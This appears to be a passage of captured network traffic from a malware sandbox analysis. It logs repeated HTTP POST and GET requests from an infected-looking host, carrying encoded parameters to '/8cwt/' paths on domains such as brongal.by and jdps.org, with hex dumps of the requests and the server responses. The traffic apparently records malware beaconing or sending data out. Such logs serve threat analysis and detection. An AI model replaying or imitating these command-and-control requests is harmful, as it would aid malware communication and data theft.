Jun 4, 2024 14:23:09.061326981 CEST	1617	OUT	POST /8cwt/ HTTP/1.1 Host: www.brongal.by Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.brongal.by Referer: http://www.brongal.by/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 1139 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 37 4a 63 51 37 6f 49 41 62 76 67 52 53 57 43 37 59 37 67 4c 56 30 54 79 62 45 42 6e 6b 58 79 5a 66 70 42 35 66 62 65 4b 41 54 50 47 6d 63 36 78 6c 4c 4d 35 70 72 43 55 49 6d 4c 7a 49 37 6f 39 75 34 41 68 4f 62 4b 4c 53 6a 4e 49 63 37 47 4c 74 54 6e 39 4f 6e 56 35 61 66 32 72 2b 58 4a 4e 6c 4b 64 65 71 33 7a 72 6b 64 53 39 48 44 35 61 49 6e 37 6f 68 71 54 44 48 55 68 75 69 6f 59 6a 6b 47 63 58 31 6a 4e 4e 73 37 57 58 6a 4c 43 51 44 58 31 68 52 44 35 6e 35 66 48 61 36 73 5a 43 7a 6d 57 6f 2b 47 70 38 5a 77 79 61 53 73 78 78 71 44 55 47 65 35 46 58 41 61 4c 37 6f 63 44 71 35 57 2b 6d 7a 55 6f 6a 30 36 48 4d 36 4b 6e 7a 4e 6f 56 4d 38 73 58 6e 61 57 51 72 66 72 63 65 6c 33 52 34 51 36 44 46 7a 47 57 76 42 73 4b 68 70 79 44 6a 56 6b 59 4f 56 47 67 4b 2b 6b 2b 50 52 65 45 4d 58 6f 2b 48 67 53 4e 54 34 6a 4b 32 32 65 62 46 67 33 31 6e 4b 42 46 6e 66 77 47 43 4e 30 73 46 59 35 77 51 73 46 45 4b 67 66 32 36 47 65 4a 67 62 61 74 6b 6c 78 7a 39 45 62 7a 2f 72 47 2b 48 33 70 7a 77 33 6f 48 [TRUNCATED] Data Ascii: 24eluX=7JcQ7oIAbvgRSWC7Y7gLV0TybEBnkXyZfpB5fbeKATPGmc6xlLM5prCUImLzI7o9u4AhObKLSjNIc7GLtTn9OnV5af2r+XJNlKdeq3zrkdS9HD5aIn7ohqTDHUhuioYjkGcX1jNNs7WXjLCQDX1hRD5n5fHa6sZCzmWo+Gp8ZwyaSsxxqDUGe5FXAaL7ocDq5W+mzUoj06HM6KnzNoVM8sXnaWQrfrcel3R4Q6DFzGWvBsKhpyDjVkYOVGgK+k+PReEMXo+HgSNT4jK22ebFg31nKBFnfwGCN0sFY5wQsFEKgf26GeJgbatklxz9Ebz/rG+H3pzw3oH73XtMzTiB7quQEV1kjn6yTKmTNDrkT3FuC6CZtdTX/EK1YkMJwVxwbRQ7Rc7wzo2tePCbYi1oAB0jh05U3gMnP4KIgHaOhcBVVlnhte4FHKEthVv2qPnpTjfq6rfNXmb0B5tFT9WxuvIr3Q2Xv2KYzReeson9ItbzmPmuG6p9xnQsI98UkU87McG497Y/QL+tHq8g5x8gpRlin0TMjFHQBNvqy8C2i79iSUBFpIZutWggZSAxKge9I20KeGrFKaUJ0IHDtlsAoTYJbn1uN1b9KP+RP3mh0xNb2ZxbXcL9hpl0aLywx/CkqqXd1KPo3v5rXn4cCztZkEoZLIaeJFElcGfc0LGzFLSY18te92wMksQ/iC2ItYGw8MVFeYTqXqmaRQDdPEV2msBgVqtnu8qliaKsc+u+zzhQkmeLazh9D7y4uwJ+kjyEzCymJyi+1BsJESjjZzmUxps7EuXMO5ojy7oomc4pmzTSphhEx4Np8SvXf5i52uwShHLADLaFEU54fdGJQWbJA7OAPIgP6YlNRVvDGFboSKT2Hf5IXZH+EBz7p98E63JAmGG6KOfY6bh2yjvRvZ+9U2Mie7n8paX0q2TLwb4TsYEcrOU5T+jiwwYVrD8/Lz/uzxQwsEx8sV6cCt10PSeexvsez+Y1VjZsaN0LzoBWU7NaJ [TRUNCATED]
Jun 4, 2024 14:23:09.707195044 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Tue, 04 Jun 2024 12:23:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/7.4.33 x-litespeed-tag: 2cc_HTTP.404 expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 link: <https://brongal.by/wp-json/>; rel="https://api.w.org/" x-litespeed-cache-control: no-cache content-encoding: gzip vary: Accept-Encoding x-turbo-charged-by: LiteSpeed Data Raw: 33 33 63 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec 7d 6b 93 e3 46 92 d8 e7 66 84 fe 43 0d e4 ed 26 25 00 04 c0 37 d9 6c ad 34 92 76 65 cf 48 b2 66 e6 b4 be e9 09 46 11 28 92 e8 01 01 2c 0a ec 87 5a 8c d8 dd b3 cf 1f 7c 11 b6 c3 1f 1c 61 47 d8 71 1f fd 4d be 5d 9d f7 ee 56 fa e0 5f c0 f9 47 8e ac 07 50 20 41 36 fb b1 d6 ee 85 26 24 36 59 8f cc ac ac ac ac ac 47 66 1d 3f f2 22 37 bd 8a 09 9a a5 f3 e0 a4 72 0c 7f 50 80 c3 e9 50 4b 16 c6 17 2f 34 48 23 d8 3b a9 1c 1c cf 49 8a 91 3b c3 09 25 e9 50 7b f1 fc 63 a3 ab 65 e9 21 9e 93 a1 76 ee 93 8b 38 4a 52 0d b9 51 98 92 30 1d 6a 17 be 97 ce 86 1e 39 f7 5d 62 b0 1f 3a f2 43 3f f5 71 60 50 17 07 64 68 33 28 81 1f be 46 09 09 86 5a 9c 44 13 3f 20 1a 9a 25 64 32 d4 66 69 1a d3 7e bd 3e 9d c7 53 33 4a a6 f5 cb 49 58 b7 79 25 46 12 43 7d 94 44 e3 28 a5 47 19 e2 a3 30 f2 43 8f 5c ea 68 12 05 41 74 71 84 ea 27 95 ca c1 f1 23 c3 40 cf 67 3e 45 d4 4f 09 f2 29 8a e2 d4 9f fb 5f 11 0f 5d f8 e9 0c a5 33 82 fe 4d 84 69 8a 9e 7d f4 19 8a 83 c5 d4 0f d1 b9 e3 98 0d 64 20 [TRUNCATED] Data Ascii: 33cb}kFfC&%7l4veHfF(,Z\|aGqM]V_GP A6&$6YGf?"7rPPK/4H#;I;%P{ce!v8JRQ0j9]b:C?q`Pdh3(FZD? %d2fi~>S3JIXy%FC}D(G0C\hAtq'#@g>EO)_]3Mi}d I0h^/Nu^)03do~WoV~Wwo?~!}Du^K2<N$P )M/^h4?RvlzQ$k8\|~3rLPc4;#slLkLz.S>/OykCk_3?%{J19}A@k$(/kX_5Q5M8$Zz(5\[ZqT3k)N$eE>SNs2BP*M})9JI24$W`oB~!66hWOp8])`jaLm.1z_W~V~n=\}5_Yt3+oVt7h\|dq
Jun 4, 2024 14:23:09.707231998 CEST	1289	IN	Data Raw: 25 2d db d5 80 3a 97 c2 3a 00 ad fb 00 a9 be 0b fd 45 6c 08 35 58 5f c4 41 84 3d 5a 77 2c a7 59 b7 1a 75 d1 57 06 40 b2 4d 7a 0e 52 2d ca be d8 26 9b b7 04 c7 74 ad d6 6f 77 74 6d 46 fc e9 2c d5 fa 0d 5b d7 5c 1c 73 e9 d3 ee cb f8 a5 ae 31 1e ec Data Ascii: %-::El5X_A=Zw,YuW@MzR-&towtmF,[\s1e<[._-\|T\&q65y!5LHpT4WL5$aw/E4@oVOEH{x0_aI_~vw;q)+IF_]3IS?R4D
Jun 4, 2024 14:23:09.707259893 CEST	1289	IN	Data Raw: 57 ab 6a ef be 5c 9b 85 69 4d 5f 28 65 f4 58 f9 f1 ca 3c 8b fc b0 aa e9 5a ed 5d ad 56 1b 68 7a c2 c4 09 50 56 5f 92 57 fa 35 28 8e be 06 23 b3 7e 86 cf b1 18 1f 4b 18 de a0 17 b8 42 a9 96 b4 a5 9a d4 f4 6b 58 b3 f5 b5 8b 18 3a 81 8f 02 29 fd f9 Data Ascii: Wj\iM_(eX<Z]VhzPV_W5(#~KBkX:)=\|(6BFjn519H>Va\+]E'U/V[l30(&QRec!"\|L_T\|eCpTRd0F-,=4?)h#[>A0jjAk5EJ
Jun 4, 2024 14:23:09.707360029 CEST	1289	IN	Data Raw: 6e 8e dd 6e e8 d0 d9 b6 73 a3 18 cd 7d 2f 04 75 b8 1b 87 de d0 6d a7 97 c1 6f 5a ba 6d b7 75 a7 b5 a5 f7 32 b3 c4 30 e8 1c 07 41 1f d9 8d f8 72 4d 1f 2b 85 c0 92 83 c1 e7 58 bb 4a 05 70 80 d9 47 8d f6 ae 42 97 86 28 d6 74 36 8a d1 18 bb 7e 38 35 Data Ascii: nns}/umoZmu20ArM+XJpGB(t6~85#l62_#+`EEV;[ovh[}"fJiKa8]$8v\|M>aax}d^hY%jNsYE+V7?<5=kau6;kebFR5}j
Jun 4, 2024 14:23:09.707514048 CEST	1289	IN	Data Raw: 69 b2 94 a6 92 d2 62 29 2d 25 a5 cd 52 da 4a 4a 87 a5 74 94 94 2e 4b e9 2a 29 3d 96 d2 cb 52 3a 8f 39 a9 ef 3e 0b f0 f8 cf 82 de a7 c0 7a 92 24 38 fd d3 27 f7 f0 6d ab d1 1d 88 fb 03 43 7a 81 63 9e 42 17 63 88 a6 e1 5e 25 7e 10 f8 2e 4f cc 7c 52 Data Ascii: ib)-%RJJt.K*)=R:9>z$8'mCzcBc^%~.O\|Rw-N!"IS.GIDiS?<Qe,wy;+0>{X{/}<Hbg{OuC^QD2J!>y\)NS<5hs'U"pC(\\\
Jun 4, 2024 14:23:09.707526922 CEST	1289	IN	Data Raw: 80 5c 7a 39 1e e4 ff 8e f1 9a 3d 9c 9b b0 52 4c 0f 0e 8e fd f9 54 4e 68 ed 8e 86 e4 34 d7 b0 b5 e2 94 99 57 06 fb 77 7d 99 be 3d 9c 93 54 85 38 4d b1 3b 03 2f 58 63 b2 08 02 04 0e 80 fc 1b 84 a8 81 10 52 b0 12 ef 68 08 07 e9 50 83 59 4b b6 84 a9 Data Ascii: \z9=RLTNh4Ww}=T8M;/XcRhPYK;={JWPUvnH.4F9@)'t168R%@(p,3h`{eFMAyxLISF7o,J@<Ybf(/40Sqz>y$S
Jun 4, 2024 14:23:09.707537889 CEST	1289	IN	Data Raw: b9 3e 0e 98 5d 40 47 10 3d 7f e4 fa 89 1b 90 11 04 92 1d 91 c9 84 9d 4e b2 ad 5a b0 f5 05 82 9b 17 db 1c 8d d8 c7 bc 0d b2 fb ac c3 e0 88 85 1d 5d a1 67 ac 59 e8 13 37 0a 29 fa 12 1e 05 78 cc 9a 85 3e f6 83 00 7d c4 9a c5 23 fc 1f f0 73 50 38 2d Data Ascii: >]@G=NZ]gY7)x>}#sP8-b 4He\+Es?%$,4sq_El4@`t wmx#mrG\|yg5: 6?v9=Vng-wDcnqdu1%z9-{74N
Jun 4, 2024 14:23:09.707550049 CEST	1289	IN	Data Raw: 2a 05 6e 1f c8 8b 0d 88 0f 70 b9 b5 21 9e 1e e0 11 e9 f9 d2 43 c4 75 84 88 9a 76 0b 64 19 d4 c1 da 3d 37 24 2e ba f1 35 df 9e e3 ad a0 17 58 94 c9 6d 5a 21 5f 6e 58 d6 f9 0c 28 90 ea c8 b8 54 15 92 32 c8 40 74 d7 77 6c 10 62 11 2e 3d 3f 21 ec 19 Data Ascii: np!Cuvd=7$.5XmZ!_nX(T2@twlb.=?!>w{FAFee6)'L;lu8,Dh}ho]l)g*KN/4VJ(wcKg\|trpC\^EXCnAM+wHzo46?f^#$aX
Jun 4, 2024 14:23:09.707652092 CEST	1289	IN	Data Raw: 53 71 eb 63 bd 57 76 63 5b c4 6b b8 58 e3 64 a3 95 1b cf 05 8c 42 02 b8 fb 1f 53 c9 4c d4 84 f8 f3 08 21 e2 07 74 66 14 42 ac 8f 4c 04 d7 c4 86 db 9c 4a 37 1f 1c 28 1c ce 79 0d df 0a 3c 28 99 b4 37 3a b9 08 4a b4 ab 08 73 03 ae dc 5e cb 6c 8c 92 Data Ascii: SqcWvc[kXdBSL!tfBLJ7(y<(7:Js^lbnO<,`Zx(L\"qa/eKdy_Jg#X-dXoW"`Z@S4WS`.j'?1[j"k*<W:loCSJ%p.[KG
Jun 4, 2024 14:23:09.707655907 CEST	1289	IN	Data Raw: ba 04 8e 54 ec 6e b8 05 25 9c 4d e4 25 b8 cf 8b 76 52 b9 88 4d 86 81 92 f4 49 e4 e2 80 7c 88 53 5c 45 d7 88 85 f2 43 99 23 ee e9 c2 b2 ac 66 90 26 47 7d f4 12 1d c1 17 f4 0a 2d 51 6d 90 3f fa 95 cd 54 80 2b 1f 9e f0 8e 66 36 18 ce a8 c1 bd 2a b5 Data Ascii: Tn%M%vRMI\|S\EC#f&G}-Qm?T+f6*9NPJIxF1{`"xFgSi1<Z.ZVmiH5t~T1^hWuMB]vumkt@?%EfLKQH'}ck3LGnSh}x
Jun 4, 2024 14:23:09.707665920 CEST	860	IN	Data Raw: 64 5c 83 70 10 0c 5c 73 a2 e9 1a 7b fb 0f 5a df d1 35 61 cd 8e 0a 69 32 c0 96 d6 d7 e6 f8 52 63 ac 15 6f f8 66 4b 4c 71 2d 96 5c a6 09 7e b8 f6 f3 d1 ac b2 89 b3 8f b3 72 ab 72 bc 37 2f ba 20 12 6b bc e0 69 3b 79 c1 2c 3f 58 c4 b1 57 5f 37 d8 c0 Data Ascii: d\p\s{Z5ai2RcofKLq-\~rr7/ ki;y,?XW_77Xesxrw~-^rr[jcmH#T.an\|v{#x^d\iQ9\lN"7+/1Y1=;DtC\|: ,IB_A)<fz

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.11.30	49918	93.125.99.134	80

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:23:11.841664076 CEST	425	OUT	GET /8cwt/?24eluX=2L0w4dAlDepmBmTjVKMMeU7pTlJruWimQKtzQaHnPyexis6Apolau4+PRU3ZMaY44LgKCLzXfDRRDI6NjDrIa0AFdv/y2wt/s903kXPouMaZATl0JyX7k5A=&Mjnd0=JZHP8Tx0t6 HTTP/1.1 Host: www.brongal.by Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Jun 4, 2024 14:23:12.088104010 CEST	548	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 04 Jun 2024 12:23:11 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close x-powered-by: PHP/7.4.33 expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 x-redirect-by: WordPress location: http://brongal.by/8cwt/?24eluX=2L0w4dAlDepmBmTjVKMMeU7pTlJruWimQKtzQaHnPyexis6Apolau4+PRU3ZMaY44LgKCLzXfDRRDI6NjDrIa0AFdv/y2wt/s903kXPouMaZATl0JyX7k5A=&Mjnd0=JZHP8Tx0t6 x-litespeed-cache: hit x-turbo-charged-by: LiteSpeed Server: LiteSpeed

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.11.30	49919	34.232.203.70	80

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:23:17.243041039 CEST	674	OUT	POST /8cwt/ HTTP/1.1 Host: www.jdps.org Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.jdps.org Referer: http://www.jdps.org/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 203 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 78 64 48 75 35 66 43 2f 38 75 45 7a 47 42 76 63 30 36 4b 5a 4c 4c 57 74 37 49 75 36 72 59 5a 61 6e 4c 4d 61 6e 41 57 50 34 4d 32 66 43 45 76 6e 54 78 43 34 63 44 37 66 53 48 62 76 2f 46 50 59 4c 4b 54 4f 51 4f 36 58 6d 5a 58 39 41 6c 45 67 62 69 69 62 7a 77 57 34 57 49 6c 35 75 55 30 52 2b 4b 48 4a 76 56 75 31 58 43 76 77 6b 59 66 4f 73 69 53 79 42 65 53 4c 4a 7a 4e 6b 38 35 73 39 49 59 38 43 44 45 6f 41 54 38 70 6e 74 49 31 48 4b 36 51 62 32 4d 35 2b 48 37 74 55 66 34 6e 4b 39 72 6b 31 61 7a 36 36 35 38 41 54 39 67 50 71 6a 56 63 32 79 2f 38 72 4d 74 6a 75 2f 44 6b 6d 4a 51 3d 3d Data Ascii: 24eluX=xdHu5fC/8uEzGBvc06KZLLWt7Iu6rYZanLManAWP4M2fCEvnTxC4cD7fSHbv/FPYLKTOQO6XmZX9AlEgbiibzwW4WIl5uU0R+KHJvVu1XCvwkYfOsiSyBeSLJzNk85s9IY8CDEoAT8pntI1HK6Qb2M5+H7tUf4nK9rk1az6658AT9gPqjVc2y/8rMtju/DkmJQ==
Jun 4, 2024 14:23:17.376660109 CEST	1289	IN	HTTP/1.1 200 OK Date: Tue, 04 Jun 2024 12:23:17 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 33 31 35 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 2c 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 61 6d 65 42 72 69 67 68 74 20 2d 20 43 6f 6d 69 6e 67 20 53 6f 6f 6e 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 62 6f 64 79 2c 20 64 69 76 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 [TRUNCATED] Data Ascii: 3151<!DOCTYPE html><html><head> <link rel="icon" href="data:,"> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>NameBright - Coming Soon</title> <style type="text/css"> body, div { box-sizing: border-box; } body { background-color: #f7f7f7; font: 18px sans-serif; } .page { display: flex; flex-direction: column; min-height: 100vh; height: 100%; } .wrapper { display: flex; flex-direction: column; min-height: 100vh; height: 100%; align-items: center; justify-content: center; } .container { position: relative; display: flex; flex-direction: column; align-items: center; justify-content: center; width: 90vw; [TRUNCATED]
Jun 4, 2024 14:23:17.376760960 CEST	1289	IN	Data Raw: 20 6d 69 6e 2d 68 65 69 67 68 74 3a 20 36 34 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 Data Ascii: min-height: 640px; background: #ffffff; border-radius: 1.5%; padding: 50px 5vw; } .main { display: flex; flex-direction: column; align-items: ce
Jun 4, 2024 14:23:17.376822948 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 3c 68 31 3e 6a 64 70 73 2e 6f 72 67 20 69 73 20 63 6f 6d 69 6e 67 20 73 6f 6f 6e 3c 2f 68 31 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 3e 54 68 69 Data Ascii: <h1>jdps.org is coming soon</h1> </div> <div>This domain is managed at <br> <a href="//www.namebright.com" id="logo" target="_parent" alt="NameBright.com - Next Generation Domain Registration"
Jun 4, 2024 14:23:17.376856089 CEST	1289	IN	Data Raw: 37 39 2e 34 34 37 31 33 2c 37 39 2e 34 34 37 31 33 2c 30 2c 30 2c 30 2d 31 33 2e 36 34 38 37 2e 39 37 35 37 76 36 30 2e 31 37 34 34 33 61 32 2e 38 30 34 35 37 2c 32 2e 38 30 34 35 37 2c 30 2c 30 2c 31 2d 32 2e 36 34 38 31 38 2c 32 2e 39 32 37 37 Data Ascii: 79.44713,79.44713,0,0,0-13.6487.9757v60.17443a2.80457,2.80457,0,0,1-2.64818,2.92778H446.56779a2.91881,2.91881,0,0,1-2.78613-2.92778V78.77935c0-1.81043,1.25192-3.34127,3.76218-4.17768,8.91384-2.92408,16.29653-4.03973,28.27274-4.03973,1.67249,0,
Jun 4, 2024 14:23:17.376878977 CEST	1289	IN	Data Raw: 2e 38 33 33 38 39 2c 31 37 37 2e 39 35 39 32 34 5a 4d 35 36 36 2e 37 38 35 38 2c 38 36 2e 38 35 38 38 32 61 37 36 2e 33 36 38 33 35 2c 37 36 2e 33 36 38 33 35 2c 30 2c 30 2c 30 2d 31 33 2e 33 36 39 34 34 2d 31 2e 32 35 35 32 39 63 2d 31 31 2e 39 Data Ascii: .83389,177.95924ZM566.7858,86.85882a76.36835,76.36835,0,0,0-13.36944-1.25529c-11.98261,0-14.90668,8.5017-14.90668,19.92245v10.726c0,11.42072,2.92407,19.92076,14.90668,19.92076a116.75844,116.75844,0,0,0,13.36944-1.117Zm93.44986,63.24184h-12.814
Jun 4, 2024 14:23:17.376913071 CEST	1289	IN	Data Raw: 32 2e 38 31 37 2c 32 32 2e 31 39 39 31 39 61 31 2e 32 34 35 33 37 2c 31 2e 32 34 35 33 37 2c 30 2c 30 2c 31 2d 31 2e 37 30 32 30 39 2e 34 35 38 35 38 4c 35 30 39 2e 34 35 38 2c 33 30 2e 30 30 34 31 32 61 31 2e 32 34 36 31 36 2c 31 2e 32 34 36 31 Data Ascii: 2.817,22.19919a1.24537,1.24537,0,0,1-1.70209.45858L509.458,30.00412a1.24616,1.24616,0,0,1-.45656-1.70176l12.814-22.19784A1.30157,1.30157,0,0,1,523.55018,5.59211Z" class="cls-2"></path><path d="M543.79932,23.73541l2.86856,4.971a1.305,1.305,0,0,
Jun 4, 2024 14:23:17.376934052 CEST	1289	IN	Data Raw: 31 2c 30 2c 30 2c 31 2c 2e 34 35 33 35 33 2d 31 2e 37 30 32 30 39 6c 34 2e 39 37 31 2d 32 2e 38 36 38 32 32 61 31 2e 32 34 38 39 32 2c 31 2e 32 34 38 39 32 2c 30 2c 30 2c 31 2c 31 2e 37 30 32 31 2e 34 35 38 32 34 6c 31 32 2e 38 32 30 33 36 2c 32 Data Ascii: 1,0,0,1,.45353-1.70209l4.971-2.86822a1.24892,1.24892,0,0,1,1.7021.45824l12.82036,22.19616A1.306,1.306,0,0,1,490.17148,30.00412Z" class="cls-2"></path><path d="M502.683,28.189h-5.73981a1.3064,1.3064,0,0,1-1.2452-1.30947V1.24856A1.25352,1.25352,
Jun 4, 2024 14:23:17.376955032 CEST	1289	IN	Data Raw: 35 32 2e 38 31 36 34 39 2c 31 34 37 2e 35 39 33 34 34 5a 4d 31 33 38 2e 31 38 38 37 33 2c 38 36 2e 35 38 31 32 35 61 38 30 2e 38 33 36 33 33 2c 38 30 2e 38 33 36 33 33 2c 30 2c 30 2c 30 2d 31 33 2e 33 37 30 37 39 2d 2e 39 37 37 37 32 63 2d 31 31 Data Ascii: 52.81649,147.59344ZM138.18873,86.58125a80.83633,80.83633,0,0,0-13.37079-.97772c-11.97958,0-14.907,8.5017-14.907,19.92245v10.726c0,11.42072,2.92744,19.92076,14.907,19.92076a81.24455,81.24455,0,0,0,13.37079-.9757Z" class="cls-2"></path><path d="
Jun 4, 2024 14:23:17.376985073 CEST	1289	IN	Data Raw: 36 33 2d 33 33 2e 37 31 30 34 34 2d 33 34 2e 39 36 32 33 35 56 31 30 35 2e 39 34 33 35 31 63 30 2d 32 31 2e 37 32 39 35 31 2c 31 32 2e 31 31 37 31 39 2d 33 35 2e 33 38 31 35 37 2c 33 33 2e 34 32 39 35 2d 33 35 2e 33 38 31 35 37 2c 32 31 2e 34 35 Data Ascii: 63-33.71044-34.96235V105.94351c0-21.72951,12.11719-35.38157,33.4295-35.38157,21.45363,0,33.15362,14.62776,33.15362,35.38157v7.7982C347.291,115.97606,346.45491,117.228,344.50486,117.228Zm-15.73972-13.65374c0-10.86391-5.98978-17.1343-14.62777-17
Jun 4, 2024 14:23:17.377007961 CEST	1180	IN	Data Raw: 31 39 2e 34 31 38 31 31 2d 32 30 2e 32 33 33 73 31 39 2e 34 32 31 34 38 2c 38 2e 36 31 35 31 2c 31 39 2e 34 32 31 34 38 2c 32 30 2e 32 33 33 56 31 33 30 2e 35 31 38 43 38 31 38 2e 39 38 30 37 2c 31 34 32 2e 31 33 39 36 32 2c 38 31 32 2e 33 31 34 Data Ascii: 19.41811-20.233s19.42148,8.6151,19.42148,20.233V130.518C818.9807,142.13962,812.314,150.74765,799.55922,150.74765Zm8.69383-26.81055c0-6.66-3.00617-10.97058-8.69383-10.97058-5.68732,0-8.69382,4.31058-8.69382,10.97058V130.518c0,6.66336,3.0065,10.

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.11.30	49920	34.232.203.70	80

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:23:19.898196936 CEST	694	OUT	POST /8cwt/ HTTP/1.1 Host: www.jdps.org Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.jdps.org Referer: http://www.jdps.org/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 223 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 78 64 48 75 35 66 43 2f 38 75 45 7a 48 68 2f 63 32 62 4b 5a 4a 72 57 71 30 6f 75 36 6b 34 59 52 6e 4b 77 61 6e 41 2b 6c 34 2b 69 66 44 6d 6e 6e 53 31 75 34 53 6a 37 66 4c 33 62 67 68 31 50 66 4c 4b 50 73 51 50 47 58 6d 66 37 39 41 6b 30 67 62 52 61 59 7a 67 57 36 65 6f 6c 33 71 55 30 52 2b 4b 48 4a 76 56 4b 50 58 43 48 77 6e 6f 76 4f 75 48 6d 78 43 65 53 4d 49 7a 4e 6b 76 70 73 48 49 59 38 67 44 46 30 36 54 36 74 6e 74 4b 39 48 45 4c 51 59 6c 73 35 38 4c 72 73 62 58 35 61 63 2b 61 55 43 56 52 61 39 77 75 30 32 78 58 2b 77 2b 57 6f 30 68 66 41 47 51 73 4f 47 39 42 6c 39 55 62 74 50 6f 75 70 7a 74 6b 70 76 5a 36 2b 41 53 42 32 76 4a 4b 51 3d Data Ascii: 24eluX=xdHu5fC/8uEzHh/c2bKZJrWq0ou6k4YRnKwanA+l4+ifDmnnS1u4Sj7fL3bgh1PfLKPsQPGXmf79Ak0gbRaYzgW6eol3qU0R+KHJvVKPXCHwnovOuHmxCeSMIzNkvpsHIY8gDF06T6tntK9HELQYls58LrsbX5ac+aUCVRa9wu02xX+w+Wo0hfAGQsOG9Bl9UbtPoupztkpvZ6+ASB2vJKQ=
Jun 4, 2024 14:23:20.031656027 CEST	1289	IN	HTTP/1.1 200 OK Date: Tue, 04 Jun 2024 12:23:19 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 33 31 35 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 2c 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 61 6d 65 42 72 69 67 68 74 20 2d 20 43 6f 6d 69 6e 67 20 53 6f 6f 6e 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 62 6f 64 79 2c 20 64 69 76 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 